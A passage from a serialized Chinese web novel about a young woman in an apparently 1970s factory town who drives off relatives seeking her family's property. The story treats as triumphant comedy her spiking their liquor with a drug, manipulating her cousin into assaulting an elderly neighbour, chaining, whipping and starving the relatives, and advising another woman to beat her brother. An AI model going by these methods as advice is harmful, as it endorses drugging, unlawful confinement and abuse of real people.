章无双也有她的优点,那就是可爱嘴甜,一句一个何姐地叫着,再加上又长得好看,给何黛提供了很多情绪价值。两人相处得倒也挺和谐。 她俩遇到矛盾,能调解的就先调解,调解不了的, 就来一句:“你们去隔壁找我们宋主任吧。” 宋知南比以前更犀利更有威严, 遇到问题, 就用精神针灸法,几针扎下去, 通常是男跳女笑。 宋知南的绰号又新增加两个:宋治男, 男跳石。 宋知南按照之前说的,在家里设了办公地点,还挺像模像样的,牛春草李群英等人过来帮忙简单修饰了一番。 那间空出来的房子弄成了排练室和图书室,里面摆放着为数不多的现在能看的书。 她们文工队的集体合影也被宋知南拿去放大了挂在墙上,看上去挺像那么回事。 牛春草问:“小宋,你6年后真的要把房子还给厂里呀?” 她想想都替宋知南肉疼, 好不容易弄到的房子凭什么要还回去? 李群英也不舍得,宋知南这样的邻居简直是梦中好邻居, 谁能舍得让她走? 宋知南说:“这房子本来就是厂里的,借来住几年也可以了。” 等改革开放了,有商品房了,她会买几套属于自己的房子。 牛春草思来想去,终于想出了一个主意:“小宋,其实还有一个办法,那就是过两年你也结婚,只要你结婚了就有了分房的正当理由,你不想嫁人,那就招婿,找一个性子相对简单好管的男人,还是可以的。” 宋知南的语气温和而坚决:“牛阿姨,谢谢你的建议。不过我是不会结婚的。”什么样的房子也不值得她把自己给搭进去。 牛春草知道宋知南的性子,也没硬劝,就点到为止。 以她的经验来看,女人一辈子不结婚也不是不行,就是过得太难了。各种各样的目光,各种流言蜚语都冲你来,更别提还有家人的催促逼迫。一般人真顶不住这些压力。明明有简单的路走,干嘛去选择那条更难走的路? 宋知南没有跟牛春草继续讨论这个问题,转而聊起了别的话题。朋友之间,尤其是年龄差距大的朋友,有一部分共同点就行了,怎么可能处处同频? 房子的事情平息之后,宋知南的生活也恢复了平静。 她现在每天上班下班,有空就读书写作投稿琢磨新戏,周末有演出就去演出,没有就在家跟文工队的队员一起排练。每隔一段时间就有豆腐块见报,偶尔收到几块钱的稿费,打打牙祭,日子过得忙碌而充实。 然而没过多久,宋知南的平静生活就被两个不速之客打破了。 这两人是从老家来的,一个是她叔叔宋前进,一个是堂哥宋春生。两人是以奔丧之名来的。 这父子俩还挺会表演,一进院子就嚎啕大哭:“我的二哥/我的二伯,你年纪轻轻地咋就去了呢?” 这突如其来的哭声把院里邻居吓了一跳。 宋知夏一看到这两人就眼皮子直跳,小时候各种不好的记忆突然间涌上心头:总是喜欢打秋风占便宜的宋前进,总是吸溜鼻涕抢她东西的宋春生…… 她直觉这两人来者不善,便让宋冬宝赶紧去通知宋知南,她自己调整好脸上的表情出来迎接两人。 “三叔,春生哥,你们来了。” 宋知南一接到宋冬宝的报信,就说道:“冬宝,准备一下,咱们又来活了。” 宋冬宝问道:“姐,你的意思是三叔没安好心?” 宋知南翻了个白眼:“咱们宋家有好心的人吗?” 宋冬宝:“也不能这么说,我觉得三姐你就挺好的。” “哎哟,学会说话了。不过你姐我好得也有限。附耳过来,听我安排。” “哎哎。” 两人边走边说,等到了宋家,宋前进和宋春生还在装模作样地哭嚎,只是光哭没有眼泪。 邻居们围着他俩指指点点:“瞧着哭得挺伤心的。” “也难怪,毕竟是血亲。” “只是怎么现在才来呀?” “可能乡下忙吧。” …… 宋知南一进来,就有人跟她打招呼:“小南,你叔你堂哥来了。” 宋前进和宋春生听到声音,哭得更大声了。 宋知南说道:“行啦三叔,你别哭了,晚上到我爸牌位前你再哭。”嚎得她耳朵疼。 说着话,宋知南打量着父子二人,宋前进岁数比宋上进小两岁,但比他显老多了,一脸的沧桑。 宋春生应该有二十多了吧,长得愣头愣脑的,两只眼睛距离远的能害相思病。一看就是一副不怎么聪明的样子。 三叔宋前进一边伤心一边用目光巡视着屋里的一切,硬挤出来的泪水也无法遮掩他的贪婪。 宋前进擦擦眼角不太多的泪水,对三人说:“知夏知南冬宝,我一听到你们家出事的消息,难受得几宿睡不着觉。我担心你们啊,知夏跟小南是女娃,冬宝虽然是个男娃,可年纪太小,支撑不起门户。偏偏你们那狠心的妈又改嫁了,没有长辈在一边看着,那些不长眼的邻居肯定会欺负你们的。” 众位邻居面带怒色:你说谁呢?谁欺负他们了?谁敢欺负他们? 宋知南厉声制止了宋前进:“三叔,这种话你不要乱说。我们城里可没有吃绝户的丑陋风俗。这些邻居不但不欺负我们,还没少帮我们,我爸我哥的丧礼都是大家伙帮着办的,平常他们对我们三个也很照顾。” 众邻居脸色缓和:“谁说不是呢?我们可都是好人。” 他们平常争斗不断,这会儿又团结起来了。 宋前进赶紧改了口风:“对不住各位,我、我是太关心几个孩子才这样说的。你们别放在心上。” 宋知南把目光投向宋春生:“春生哥,你娶到媳妇了吗?” 宋春生摇头:“还没呢。我爸说以后不愁娶。” 宋知南用遗憾的语气说道:“春生哥,你这人其实挺好的,就是被病情耽误了。” 宋前进赶紧说道:“小南,你瞎说啥呢?你哥好好的,哪儿生病了?” 宋知南看了一眼众邻居,目光闪烁,轻轻叹息一声,一副想说什么,但又不好说的模样。 众邻居你看看我,我看看你,这里面难道还有什么隐情不成? 宋知南说着话就闻到了一阵酸臭味,嗯,就是从这两人身上发出的。 她跟宋冬宝说:“冬宝,你带着叔和哥去澡堂洗个澡。” 接着她把宋冬宝拽到一边,小声嘱咐:“冬宝,你一定要看住春生哥,在澡堂里别让他乱看乱摸,管好他。” 宋冬宝一脸茫然,但三姐的话自有她的道理,不懂没关系,照着做就行了。 宋冬宝招呼两人去洗澡。 宋知南当众给了宋冬宝五毛钱:“你回来的路上买点熟食。” “哎哎。” 宋前进和宋春生两人回屋拿了换洗衣服,宋知南一看,好家伙,两人带的行李还不少,这是打算长住呀。 等到三人离开之后,宋知南对着众邻居欲言又止,欲说还休。 众人一看,果然有情况。 赵大妈和王大爷最先发问:“小宋,你是不是有话想对大伙说呀?” 还有人鼓励道:“没事,我们都不是外人,你有话就直说。” 宋知南看了一眼宋知夏,宋知夏虽然不知道妹妹具体要说什么,但这么多时间以来培养出来的默契,让她明白一定是关于宋前进和宋春生的“好话”。 她打算见机行事,积极配合。 宋知南经过激烈的思想斗争,终于下定了某种决心:“咱们认识这么多年,你们都是看着我们三个长大的,特别是我爸我哥的事,你们没少帮忙。之后也从来没人欺负过我们,我心生感激。这事我说了对我们家名声不好,但不说,我又怕害了你们。” 一听到跟自己利益相关,众人的神色都变严肃了。 “小宋,你快说,到底是咋回事?” 宋知南先叹气:“说起来有些难以启齿,就是我们宋家祖上有人发过疯,这种病会遗传,而且一般只传男丁。有的是小时候就发病,有的是长大后受到强烈的刺激才发病。我那个堂哥就是天生的,你们看他那长相,有眼力的人,应该能看出个一二来。” 众人对此倒是不太意外,他们早就猜测过宋家人有疯癫的遗传。宋秋实就是活生生的例子,还有宋知南,她疯得不一样,疯得很有才华。 宋知夏是无言以对,妹妹又在造自己家谣言了。 她想了想,算了,疯就疯吧,看开了其实也没什么。 宋知夏全力配合妹妹,轻轻拉着宋知南的衣袖:“三妹,这事能说吗?咱堂哥本来就娶不到媳妇,这样一来不更不好找了?而且叔叔知道了也会怪咱们的。” 宋知南:“可是咱们要是不说,堂哥突然发疯伤害到了邻居怎么办?你忘了他上次差点把一个老头拖到玉米地里了……” 人群中的王大爷刘大爷等人吓得浑身一颤,这一家人都是什么人呐,连老头都不放过,口味也太特别了。 宋知南赶紧找补一句:“王大爷刘大爷,你们别害怕,我堂哥也不是所有的老头都喜欢的。你们尽管放心。” “还有,我拜托各位,不要把我堂哥有病的事告诉别人。” “放心,我们谁也不告诉。” 宋知南说罢,就对宋知夏说:“二姐,咱们去把爸妈住的屋子给收拾出来,好让叔叔和堂哥住。” “嗯,走吧。” 姐妹俩进了屋,宋知夏把门关上。 宋知南开始找宋上进生前的衣裳,以后她还有用。 宋知夏问道:“三妹,咱们宋家祖上真有得过疯病的人?” 宋知南:“有,听说有个人考学总考不上,最后疯了。还有一个娶不着媳妇,憋疯了。” “咱们接下来该怎么办?我觉得小叔不怀好意。” “肯定的,他们是来吃绝户的。” 宋知南话音刚落,就听见门外有人喊道:“知夏在家吗?” 两人从屋里出来,来人是大伯母何梅和大伯宋自强。 宋自强说道:“我听人说,你三叔和春生来了?” “来了,到了一会儿了,我让冬宝带着他俩洗澡去了。” “哦,等他俩回来,你们一起去我家吃饭。” 何梅有别的话要说,就对宋自强说:“你先回去做饭,我嘱咐俩孩子几句话再回去。” 宋自强一离开,何梅就对两人说:“知夏,小南,你俩可得注意,你叔不是省油的灯,这人又阴又贪,占便宜没个够,他这次来绝对不怀好意,是打着吃绝户的主意呢。无论他说什么花言巧语,你们都不要听。咱害人之心不可有,但防人之心不可无。” 宋知南:“谢谢大伯母提醒,我们一定会注意的。” 她不但有防人之心,还有害人之心。这次她一定得把他们打痛了,让他们再也不敢伸手。 第116章 何梅嘱咐完两人, 就回家去了。 半小时后,宋前进和宋春生他们三人洗完澡回来了。 宋知夏说了大伯和大伯母来请他们过去吃饭的事。 宋前进说:“既然你大伯这么说, 那咱们就过去吧。” 宋知夏把宋冬宝买的熟食带上,又拿了一块腊肉。 一行人到了何梅家,宋湘出来开门,热情地打招呼。 宋前进打量了宋湘一眼,笑着说道:“哎呀,湘湘都这么大了,长得挺漂亮嘛,你将来一定能嫁个好人家,肯定还能收一大笔彩礼,你哥娶媳妇就不用愁喽。” 他觉得他是在夸宋湘,不想宋湘听到这话, 当下就脸色一沉, 扭身进屋去了。 何梅听到了, 立即接过话道:“他三叔,你可别这么说, 我们家不指着闺女的彩礼钱过日子。她哥娶媳妇也靠他自个儿, 我们家可不养废物儿子。” 宋前进讪讪地一笑,他没想到自己一句夸奖竟引来了两人的不满,心里暗自腹诽城里女人就是瞎讲究,嘴上却赶紧说:“行行,我以后不说了。你瞧我这张破嘴。” 几个人说着话,宋自强端着一盆炖菜出来了:“老三、春生你们可来了,快坐吧, 别客气,就当这儿是自己家。” 宋春生却一脸诧异地盯着宋自强身上的围裙:“大伯, 你那么有本事竟然还要下厨做饭?”这不是女人该干的活儿吗? 宋自强不以为意地笑笑:“这不你们来了,想给你们露一手嘛。” 宋春生却说:“大伯你可是咱老宋家有本事的人,大家都说你被娘们管得死死的,丢男人的脸。” 宋前进用力掐了宋春生一下,这孩子有没有点眼色? 宋春生直愣愣地问道:“爹,你掐俺干啥?” 宋前进:“别俺俺的,说我。” “哦哦。” 大家伙无语地看着这父子俩,一时间谁也没接话。 等到开饭时,宋春生又开始惊诧了:“湘湘知夏小南还有大伯娘,你们咋也上桌了?” 宋湘没好气地回道:“这是我家,我想上桌就上桌。” 何梅也是皮笑肉不笑:“春生啊,我们城里跟你们老家不一样,我们没那些破规矩。” 她可忘不了,她第一次跟宋自强回老家,公公竟然不让她上桌吃饭,她气得险些把桌子掀了。 宋前进用力瞪了儿子一眼,这孩子就不能不说话吗? 宋春生被连着训斥了两次,人也蔫了,再也不敢多说少道,只顾低头扒饭。 这一顿饭吃得相当有趣,宋知南尽看表演了。 宋知夏看妹妹一反常态,就知道她心里憋着坏。 不管她要做什么,她跟冬宝配合就是。 大家一边吃菜一边喝酒,宋知南不停地劝酒,“三叔,来来,我敬你一杯,你大老远地来辛苦了。” 宋前进把杯里的酒一饮而尽。 “春生哥,我也敬你一杯,冬宝你也敬哥一杯。” “好好。” 男人一喝起酒来就没完,何梅她们都吃完饭了,三个男人还在喝。 宋知南说:“大伯藏的好酒都喝完了,我家还有一瓶,我去拿过来。” 何梅忙说不用,宋知南坚决要拿:“还是去拿吧,今天就让三叔他们喝个痛快。” 宋知南也没回家,她出去溜达了一会儿,散个步,走到无人的角落,从系统商城买了两瓶老白干,撕掉瓶子上包装,打开其中一瓶酒,倒掉一些,把那个引人贪心恶念的药粉倒进去,晃匀,然后大步进了大伯母家。 她一进来就说道:“我家有两瓶酒,一瓶没打开,一瓶开过了,反正咱都是自己人,也不在乎那些,我就全拿过来了。” 宋自强说:“你这孩子可真大方,一拿就是两瓶。” 宋知南把没打开的那瓶给了宋自强,自己拿着带料的那瓶给宋前进和宋春生倒酒。 她亲眼看着两人把酒喝了,就静静地坐在一边等着。 几分钟后,药效开始起作用了,宋前进开始了他的表演。 他醉眼迷离地看着宋知南姐弟三个说道:“知夏,我听说你在广播站工作,你得把那个工作让给你大嫂;冬宝的工作让给春生,小南你的工作也得让给你二嫂,你家那房子,你们住着怪可惜的,你们得腾出来给我们一家住,凭啥好事都让你家和你大伯给占了?知夏和小南你俩赶紧嫁人,还能收两笔彩礼钱,冬宝你去下乡当那啥知青去,我都把你们安排妥当了。” 宋知夏闻言,不由得脸色一变,宋冬宝气得腾一下站起来,宋知南硬把他摁着坐下去。 宋自强跟何梅宋湘三人都是面面相觑,这人的算盘打得可真响啊。 宋春生也开始说胡话,“城里真好,城里的姑娘真白真好看,我要娶个城里媳妇。我很快就有房子有工作了,我看谁还敢看不起我,哈哈哈。” 父子俩比赛着发酒疯,说着说着,突然扑通一声,趴在了桌子上。 宋知南看着何梅和宋自强说:“大伯母大伯,你们刚才也都听到了,他们真让我心寒呐。” 何梅赶紧安慰宋知南:“你放心,我会帮你的。咱们城里可不是乡下。” 她早烦透了这些贪得无厌的婆家人,正好这次公报私仇,替自己出口恶气。 等着吧,明天,她就让这俩人名扬厂区。 等到两人酒醒之后,宋冬宝带着他俩回了家。 他们一离开,何梅就把两人的绝户计划告诉了邻居们,邻居又忍不住告诉别人。 短短一天时间,附近的人都知道了宋前进和宋春生的计划。 众人咂舌:“还以为俩人是来奔丧的,没想到是来占便宜的。” “放心吧,以知南那性子,这两人不可能占到便宜。” “哎,你听说了吗?小宋那个堂哥有病,有遗传的疯病。” “哦是吗?” “你仔细瞅瞅,他那双眼睛,中间隔得很开,看人时还直愣愣的。” “还真是的。” “那大家伙得小心啊。” “听说他上次把一个老头拖到玉米地里了。” 听的人张大嘴巴:这世上真是啥人都有。 这个消息一传出来,晚上遛弯的老头都少了很多。 宋知南这会儿正愁眉苦脸地向宋春生诉苦:“春生哥,我看你人高马大的就很有安全感,自从我爸我哥不在了,这些邻居们就有些蠢蠢欲动,想欺负我们。我昨天不敢当着他们的面说,就是怕你们走了以后他们欺负我们,欺负得更狠。” 宋春生连忙说:“小南你放心,我们以后不走了。” 宋知南接着说:“春生哥,你能不能帮我出出气?” “咋出啊?我打他们一顿?” “王大爷这是些邻居的头头,我想让你吓唬吓唬他,你趁我们大家不在时,把王大爷关在屋里,你就当着他的面脱裤子……” 宋春生瞪着眼睛问:“吓唬就吓唬他,为啥要脱裤子?” 宋知南:“你想想,你们男人打架前是不是都喜欢脱衣裳?” 宋春生想了一下,好像是这样。可是大家伙都是脱上衣,也没人脱裤子呀。 宋知南:“脱裤子不也是脱衣服吗?主要是这个王大爷很特别,你脱上衣他不怕,他一脱裤子,他保准吓得哇哇大叫,不信你可以试试。” 宋春生不太明白,但也没有往深了想。 宋知南用期待的目光看着宋春生:“春生哥,你可是我亲哥,咱们血浓于水,你一定会帮我的对不对?你该不会很怂吧?” 宋春生听到宋知南质疑自己怂,立即把胸脯拍得震天响:“我才不怂,你放心,我一定把那个王大爷吓得屁股尿流的。” 宋知南接着嘱咐道:“这事,你别告诉三叔,他这人年纪大,胆子都变小了,没有你勇敢正义。” “嗯嗯。” 次日早饭后,宋知夏宋冬宝都去上班了。 宋知夏临走前给了宋前进一些零钱和票,让他去帮忙买东西。同时还嘱咐宋春生留在家里看门,一会儿可能有人来送煤。 大家一离开,宋春生的眼睛就开始盯着院里的王大爷看。 王大爷被看得心里发毛,他锁上门,也准备出门去。 就在王大爷锁门时,宋春生像猛虎一般地扑上去,一手捂住他的嘴,一手抱着他的腰就往屋里拖。 王大爷:“……”你还真拖老头啊。 “救命——”王大爷拼命挣扎,试图呼救,可宋春生力气很大,硬是顺利地把他拖进屋里了。 宋春生把人拖进屋里,迅速关上房门,就开始脱裤子。 王大爷吓得老脸一黄,一边向门口冲去,一边颤声呼救:“救我啊——” 正好赵大妈和刘大爷回来了,听到喊声,赶紧过来看看。紧接着,路过的人也听到了喊声,大家伙齐心协力终于把王大爷给解救出来了。 宋春生把王大爷关在屋里,还当着他的面脱裤子,这事像长了翅膀和腿似的,传得是人尽皆知。 还有人跑过来告诉宋知南:“小宋,你堂哥……” 宋知南大惊失色,“什么?我堂哥他真干出这事了?” 接着,她捶胸跺足:“我还以为他都改了呢?这可怎么办,我们家的名声算是彻底完了,我对不起王大爷啊。” 下班后,宋知夏和宋知南姐妹俩提着礼物去王大爷家道歉并慰问。 王大爷心有余悸地说:“小南啊,看在咱们是多年邻居的面上,我啥也不说了,你赶紧把你堂哥弄回家吧。” 宋知南罕见地没跟他抬杠:“大爷你说得对,我得想办法把他弄回家去。” 宋知夏说:“可是他们不肯回去怎么办?” 宋知南跺着脚:“不管了,我要大义灭亲,无论如何也不能让他们祸害邻居。” 宋知南为了不伤害邻居们,当晚就把疯堂哥宋春生给捆起来关屋里了。宋知夏也不敢回家住,索性住到宋知南那里,家里只留下宋冬宝看门。 为了以防万一,宋前进也给捆起来扔在了墙角,两人的嘴巴都用破抹布堵上了,以免他们发出声音吵到别人。 第二天早上,宋知南和宋知夏过来看看情况。 宋冬宝拿着一把雪亮的水果刀要把宋春生的根也割了。 他的理由是:“我的都没了,他凭什么要有?而且那天洗澡时他还问我那东西到底能不能用?我快要气死了。” 宋冬宝原地发疯:“二姐三姐,你们别拦我,我要割,我就要割!” 宋春生拼命挣扎,嘴里发出呜呜的声音。 宋前进也跟儿子一样,用力挣扎着。 宋知夏在旁边拼命阻拦:“冬宝,你答应过姐的,你说你要好好的,不学秋实,不随便捅人。” 宋冬宝:“我只是割了他,也没说捅死他呀。” 宋知南劝宋知夏:“二姐,你也体谅体谅冬宝,你这些日子总被人议论,快憋坏了。我觉得春生哥是咱哥,自己人割自己人,应该没问题。这都是家务事。” 宋知夏气得快哭出来了:“你们两个就不能让我省省心吗?” 宋冬宝扭动着身子向两个姐姐撒娇:“姐,我心里憋得难受,我快要疯了,那天洗澡时,看到别人的那东西都好好的,我就妒忌得发狂。我没有的,他们凭什么有!” 宋前进和宋春生瞳孔地震,完了完了,他们宋家又出了一个疯子,他们家的祖坟绝对有问题,要不然怎么会出那么多有问题的人? 城里太危险了,早知道就不来了。 最终,宋知夏劝住了宋冬宝,宋冬宝决定暂时不割了,先用鞭子抽打两人一顿出出气。 宋冬宝用宽皮带使劲抽着宋春生,一边抽打一边恶狠狠地说:“你们还想吃绝户?当我宋冬宝是死的吗?你敢拿我们家一分钱,我就杀了你们全家。” 宋春生疼得五官扭曲,嘴里呜呜地叫着。 抽完宋春生,宋冬宝接着抽宋前进,“宋秋实杀爹,我就杀叔,我不比他差。嘿嘿,哼哼。” 宋前进险些吓尿了。 宋知南不知从哪儿弄来两根铁链子,还带着小锁。 宋冬宝把宋前进和宋春生拴起来,屋里放了个马桶,倒马桶的活也是他的,为了少倒马桶,宋冬宝就让他们少吃少喝,只要饿不死就行。 父子俩挨打挨饿,半夜还会看见宋上进的身影,又被吓个半死。才三天,两人就瘦了好几斤。 邻居们有时候也会听到一些动静,比如铁链子的响声,比如像动物一样的嘶吼声。 他们一问,宋知南和宋知夏就一脸愁容:“我堂哥真疯了,只能关起来,要不然又要祸害你们。” 邻居们纷纷帮着出主意:“你们赶紧想办法让他们回去啊。再这样下去可真不行。”还有人想去报公安。 宋知夏说:“这是我们家的家务事,你们报公安人家也不一定管,都先别急,我们正在想办法。” 宋冬宝到底还是趁姐姐不注意,把宋春生的鸡蛋皮给划了几道口子。 为这,宋春生和宋前进两人剧烈地挣扎,险些把衣柜都给撞翻了。 宋知夏跟宋知南商量:“三妹,我看差不多了,该放他们走了。” 宋知南也说:“火候到了,今天凌晨,二姐你放他们走。记得装得像些。” “嗯嗯。” 次日凌晨,天刚蒙蒙亮,宋知夏就回来了,她趁着宋冬宝还在睡觉,用钥匙打开两人铁链子上的锁,压低声音说:“你们赶紧逃走吧,冬宝已经不正常了,你们以后好好在老家呆着,千万别来了,命要紧。” 宋前进带着哭腔小声说:“好侄女,你是个好人,你放心,我们再也不来了。”以后谁还敢来? 宋春生的声音像破锣一样:“我要报公安,抓你们。” 宋知夏说:“你们想报就报,公安肯定说咱们是家务事,不会管的。再说了,你们没有介绍信,公安说不定把你们当盲流抓起来。” 宋前进忙说:“我们出来带了介绍信的。” 宋知夏笑笑:“被冬宝撕了,现在你们没有了。” 宋知夏有些不耐烦了:“你们到底走不走?一会儿冬宝醒了,你们想走也走不了。” “走走,我们现在就走。” 两人踉踉跄跄地走出了里屋,行李宋知夏早给他们收拾好了,两人也顾不得查看,赶紧拎上行李就往外跑。 宋知夏还好心地给了两人一人一个凉馒头。 吃早饭时,宋知南来了,她告诉邻居们,她那个疯堂哥跟三叔一大早就偷偷离开了。 众人长长松了一口气,可终于离开了。 王大爷更是松了一大口气,他后面的贞操保住了,真是的,差一点就晚节不保。这老宋家都是什么人呐。 宋知南拿出稿纸和笔,让大家签名:“我给老家的大队长写了一封信,就说我堂哥发疯,扰乱了大家的生活。以后不准再给他们开介绍信进城,单是我写,他们不一定相信,你们能不能帮我签名作个证。” “没问题没问题。” 大家都乐意帮这个忙。 宋知南收好签名,笑吟吟地说:“谢谢大家,真是远亲不如近邻啊。你们大家可真好。” 她相信,这件事,会让宋前进和宋春生记一辈子。 她这人可真好,别人给亲戚留下财产和好处,她给亲戚留下了刻骨铭心的教训,这些可都是精神财富。 现在,她好人做到底,把这封信寄回老家去,再给乡亲们匮乏的生活增添一点色彩。 第117章 何梅听说宋前进和宋春生被关起来折磨了好几天, 最后趁人不备偷溜回家去了。她觉得蹊跷,再一向邻居打听, 才知道宋春生是个疯子,把那个王老头拖到屋里险些给那啥了。 何梅目瞪口呆,这个宋春生确实愣头愣脑的,从小就不聪明,但不聪明跟疯子还是有差别的。这进一趟城怎么就变成了有特殊爱好的疯子了? 何梅当然不会直接说出自己的疑惑,她想了一会儿,突然拍着大腿叫了声:“妙哇妙哇。” 要是空口白牙地说宋春生是疯子,大家伙肯定将信将疑。但是,你要让他做出点疯事,那他疯了就板上钉钉了。大家伙一致认为他疯了,宋知南做为宋春生的堂妹干点什么都是理所应当的。 宋春生和宋前进这几天被折磨得够呛, 应该不敢再来了。就是再来, 邻居们为了自己的安全也会坚决站在宋知南她们这边。算是一劳永逸地解决了问题, 要不然,你就算骂走撵走, 过段时间说不定又来了, 没完没了。 宋知南这孩子够狠够果断,还会巧妙地利用群众的力量。 何梅对宋知南愈发另眼相看,这孩子有前途。 何梅回去把这事也告诉了宋自强,自强沉默半晌,说道:“小南这么做也没什么。他们仨没爸没妈,要是不狠点,就会被别人欺负。” 他不讨厌有心机的人, 但他讨厌宋上进那种又蠢又爱耍心眼的人。 何梅说道:“嘁,以前有爸有妈时, 知夏和小南不照样被爸妈欺负?所以说,女孩子就得狠,你不狠就过不上好日子。可惜了,咱家的湘湘就跟那小绵羊似的,小南的心眼要是能分到湘湘一些就好了。” 宋自强郑重其事地叮嘱何梅:“你们以后千万不要得罪小南,这样的人只能交好,不能为敌。” 何梅又嘁了一声:“我比你看得远看得透,是我先跟她交好的。我一眼就看出这孩子有潜力不一般。” 她何梅可跟别人不一样,她就喜欢跟聪明人打交道,好相处还不拖后腿。 宋前进父子俩离开后,宋家三姐弟终于松了口气,这些日子真够忙活的,这一桩桩一件件的,就没有个消停的时候。 杂事刚一忙完,杨主席就找宋知南过去说话。 宋知南习惯性地问道:“杨主席,是不是又有人告我的状了?” 杨主席笑道:“没有,我就是想跟你说会儿话。” 杨主席说着话,顺手给宋知南倒了一杯温水,推到她面前,“都说新官上任三把火,我们可都等着你那三把火呢。” 宋知南:“嗐,我正想着跟您和贺主任汇报呢。我的想法是这样的,大家伙不是整天说我对男人有偏见吗?我就打打他们的脸,我打算联合街道办事处搞个‘好女婿,好丈夫’的评选,以前只评选好媳妇啥的,我都替男同胞们委屈,凭什么他们不可以参加评选? 还有就是,我想办个夜校,地点就设在我家,每周五周六7点到9点,给女同志们读读报纸,讲讲领袖思想和马列主义,挖一挖思想上的问题,解一解心灵上的疙瘩。 最后一条,我打算出几期先进女工采访专刊,咱们门前的公告栏大部分时间是空着的,得利用起来。” 杨主席听罢,称赞道:“这三样可都是实打实的好事,听上去挺好,就是挺费人费事,你能忙得过来吗?” 宋知南:“能,我还有很多帮手呢。” 评选好女婿好丈夫的事,需要别人配合,暂时先放一放。宋知南从最容易开始的地方着手,先办妇女夜校。 妇女之家的书太少,宋知南想着几年后会恢复高考,她索性从现在开始,把自己从小学到初中的课本都拿过来放到书架,再把宋秋实和宋知夏的高中课本也拿过来摆上。又想办法弄了块黑板钉墙上,屋里摆上几套二手的桌椅,看着挺像那么回事。 对于妇女夜校,牛春草李群英边月章无双等人是积极响应。 王翠花周末回来,听说后也赶紧赶过来捧场。 王翠花这段时间变化很大,比以前更活泼开朗,爱说爱笑,以前的那种卑微拧巴再也不见了,整个人显得特别舒展自然。 王翠花十分健谈,一回来就眉飞色舞地说:“哎呀,我七姨姥姥回去夸了咱们好几回,说咱们演得好,节目有新意。还夸小宋厉害,聪明能干,说她将来必成大器。” 牛春草:“哎哟,你七姨姥姥还挺有眼光,跟我的看法一样。” 众人一起哈哈大笑。 宋知南度过了一个愉快而充实的周末。 周一上班,何黛就兴冲冲地跟她说:“那个黄盼你还记得不?她写信来了,还寄来了一包茶叶和一些西南特产。” 宋知南接过信看了一遍,黄盼在信里说,她已经跟父母团聚了,那里风景很美,就是交通不太方便。 她非常感激宋知南对她的帮助,在她人生的岔路口,是宋知南给她指明了方向。她父母听了她的事后,都十分后怕。茶叶和特产是妈妈让她寄来的,是她们的一点心意。 何黛说:“黄盼到了她爸妈身边我也就放心了,这么漂亮的女孩子,学校又这么乱,若是没有父母护着,天知道会发生什么可怕的事。” 上午,她们接到黄盼的信,中午,梅小玲又来了。 梅小玲跟上次比,略有变化,皮肤不那么皴了,眼中终于有了一点光芒,看上去不那么死气沉沉了。 梅小玲对两人说道:“何同志宋同志,我犹豫了好久,终于迈出了那一步,我现在搬到了厂里的宿舍,并把粮食关系转到了食堂,从这个月开始,我的工资我自己拿着。我爸妈察觉到我的变化,他们轮番上阵,又是哭又是劝,我还是会愧疚会心软,可是每次我心软愧疚时就想起宋同志的那些话,我的心就会变硬。小南,谢谢你,没有你的当头棒喝,我真的很难清醒,我可能这辈子就这么糊涂又痛苦地过下去了。” 宋知南先是给予了肯定:“小玲,你做得挺好,你迈出这一步很不容易。不过,你的考验才刚刚开始。接下来,你的亲戚朋友邻居都有可能会劝你,劝不动他们就会攻击你,你爸妈眼看着你脱离他们的掌控,会疯狂反扑,情感绑架、辱骂、寻死觅活也有可能,你要做好心理准备。但是你也不用特别怕,他们也只会这些,当这些手段用完的时候,他们可能就老实了,会换一种方式跟你相处。你放心,他们绝对不敢杀你,甚至不敢跟你断绝关系,因为受损的是他们。” 没有斗争过的人总是把冲突和斗争看得很可怕,总是高估斗争失败后的后果。其实只要你斗争过一次就发现它们一点也不可怕。 梅小玲苦笑道:“我很快就要领到这个月的工资,我预感会我们家会有一场暴风雨,我这不又来寻求心理支撑了。” 说到这里,梅小玲郑重其事地问道:“宋主任,咱们是邻居,我爸妈跟你爸妈有点像,我想知道,你爸妈在你面前寻死觅活时,你是怎么应对的?” 宋知南面带微笑:“我的做法是,谁想寻死,说明他想死,我就尊重他的想法。” 梅小玲:“……” “可是,如果他们真的不小心死了,咱们会愧疚一辈子的吧?” 宋知南反问道:“你爸妈这么多年应该寻死觅活过好多回吧?他们不是活得好好的吗?他们赌的就是你怕这个万一。如果你做不到我这么坚定,其实你也可以学一学他们,不过一定要注意安全。” 梅小玲像是悟到了什么,连连点头:“我明白了。” 她接着又问:“你爸妈动手打你时,你会怎么办?” 她迫切地想抄作业。 宋知南:“别人打咱们,咱们可以毫无心理负担地还手。你父母打你,你若还手,在道义上站不住脚。但是,你还有个弟弟呀。你爸妈打你,你就打你弟弟。” 梅小玲有些迟疑和不忍:“可是我弟……” 宋知南犀利地问道:“你不会觉得你弟弟是完全无辜的吧?你别忘了,他可是最大的得利者。你爸妈是不是经常说,当姐姐的要让着弟弟?同样的,当姐姐的教训弟弟不是应该的吗?反正我弟弟现在被我打服了。小树不修难成材,男孩不打就长歪。我打他是为了他好,你看他现在多乖巧。” 梅小玲不说豁然开朗吧,但也感觉打开了一扇小窗。 是的,她弟弟绝对不无辜。如果打她弟弟,爸妈一定会很心疼。 梅小玲离开后,何黛又开始了她的担忧:“也不知道梅小玲能不能反抗成功?” 宋知南最先得知了梅小玲的最近进展,毕竟她们离得近。 还是宋知夏告诉她的,“隔壁院里的小玲你还记得不?她跟家里闹翻了,好家伙,别看她平常挺老实的,爆发起来也挺吓人。她爸妈要她上交工资,她不交,她妈就寻死觅活,她也有样学样。她爸骂她心狠,就动手打她。她呢,就发了疯似的打她弟梅小刚。她妈哭天抢地,说好好的一个闺女也不知道跟谁学坏了,变成了这副样子。” “后面的话把我气着了,邻居们偷偷议论说可能是跟你学的。” 宋知南不仅不生气,反倒倍感骄傲:“榜样的力量是无穷的,我就知道,我注定会成为大家的领路人。” 梅小玲的转变成了附近的大新闻,大家议论纷纷。 “本来是个孝顺闺女,谁见谁夸,也不知咋地突然就大变样了。” “现在的年轻人,真是一代不如一代。” “可不就是嘛,世风日下,人心不古啊。” “我听人说梅小玲是跟宋知南学的,那啥,榜样的力量是无穷的,坏榜样的力量更无穷啊。” “你这么一说还真有可能。” “还有一件事,你们不知道,但我知道,有人看见小玲去妇联办公室找宋知南了。” “我的天,这下终于找到答案了。” 世上没有不透风的墙,梅小玲去妇联找宋知南的事情终于被曝出来了。 梅小玲的爸妈一拍大腿:“我就说一定有人使坏,果不其然。” 梅小玲的爸妈一合计,必须得治治梅小玲,也得治治宋知南。 他们一下班就召集亲戚邻居,浩浩荡荡一大群人直奔隔壁院里的宋知夏家大闹。 